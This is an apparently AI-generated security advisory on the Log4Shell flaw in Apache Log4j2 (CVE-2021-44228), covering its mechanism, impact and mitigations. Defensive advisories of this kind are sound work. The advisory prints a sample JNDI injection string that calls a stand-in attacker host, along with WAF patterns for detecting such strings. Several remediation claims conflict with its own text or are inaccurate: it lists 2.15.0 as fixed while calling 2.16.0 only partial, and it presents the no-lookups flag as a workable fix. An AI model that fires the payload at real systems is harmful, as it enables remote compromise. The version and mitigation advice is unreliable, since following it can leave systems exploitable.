Overview
Apache Log4j2 versions 2.0 through 2.14.1 contain a critical remote code execution vulnerability caused by unprotected JNDI (Java Naming and Directory Interface) features. The vulnerability, commonly referred to as "Log4Shell", allows attackers to execute arbitrary code by controlling LDAP and other JNDI endpoints through log messages or application parameters. This is one of the most critical vulnerabilities discovered in recent years, with widespread exploitation in the wild. The vulnerability was disclosed on December 10, 2021. CISA has identified CVE-2021-44228 as being exploited and is known to be used in ransomware campaigns.
Technical details
Apache Log4j2 contains a critical vulnerability in its JNDI (Java Naming and Directory Interface) lookup feature, which is enabled by default. When logging messages containing JNDI lookup patterns (e.g., ${jndi:ldap://attacker.com/a}), Log4j2 automatically resolves these expressions without proper validation. Attackers can craft malicious log entries or inject JNDI lookup strings into application parameters that are subsequently logged. These lookups are resolved by the application, causing it to connect to attacker-controlled LDAP, RMI, or DNS servers, which can serve malicious Java objects or redirect requests to remote code execution payloads. The vulnerability affects the log message, configuration files, and any user-supplied data that reaches the logging framework.
The vulnerability is classified as CWE-400 (Uncontrolled Resource Consumption) , CWE-502 (Deserialization of Untrusted Data) andCWE-917 (Expression Language Injection) .
The vulnerability has received a CVSS v3.1 base score of 10 (CRITICAL) with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, indicating its critical nature.
Impact
Successful exploitation allows attackers to execute arbitrary code with the privileges of the application process. This can lead to complete system compromise, data exfiltration, lateral movement within networks, installation of malware or ransomware, and service disruption. The vulnerability has been actively exploited in the wild since its public disclosure, with attackers targeting vulnerable systems across the internet. Affected systems range from web applications and cloud services to enterprise infrastructure. The widespread deployment of Log4j2 in critical infrastructure, financial systems, and cloud platforms amplifies the risk and impact of this vulnerability.
Mitigation and workarounds
1. **Immediate Action (Temporary)**: Disable JNDI lookups by setting environment variable: -Dlog4j2.formatMsgNoLookups=true or setting system property formatMsgNoLookups=true. 2. **Short-term (Partial Fix)**: Upgrade to Log4j2 2.16.0 or later where JNDI lookups are disabled by default. 3. **Recommended (Complete Fix)**: Upgrade to Log4j2 2.17.0 or later where all unsafe features are removed. For applications using Log4j 2.12.x, upgrade to 2.12.2 which includes the necessary fixes. The following versions include the necessary fixes: 2.15.0, 2.16.0, 2.17.0 (recommended), 2.12.2.
As temporary workarounds: set the jvm system property -dlog4j2.formatmsgnolookups=true at application startup to disable message lookup substitution.; remove or restrict jndi protocol handlers in the java classloader by using java security policies. this requires detailed understanding of jndi architecture and java security configuration.; implement network segmentation and firewall rules to block outbound ldap (port 389), rmi (port 1099), and dns (port 53) connections from vulnerable applications to untrusted networks.; apply waf (web application firewall) rules to detect and block jndi lookup patterns in http requests (${jndi:ldap://..., ${jndi:rmi://..., etc.)., and restrict the java classloader to prevent loading arbitrary classes from remote sources. remove or modify ldap-related jars if not required by the application..
CISA's recommendation: For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.
Additional resources
Source: This report was generated using AI
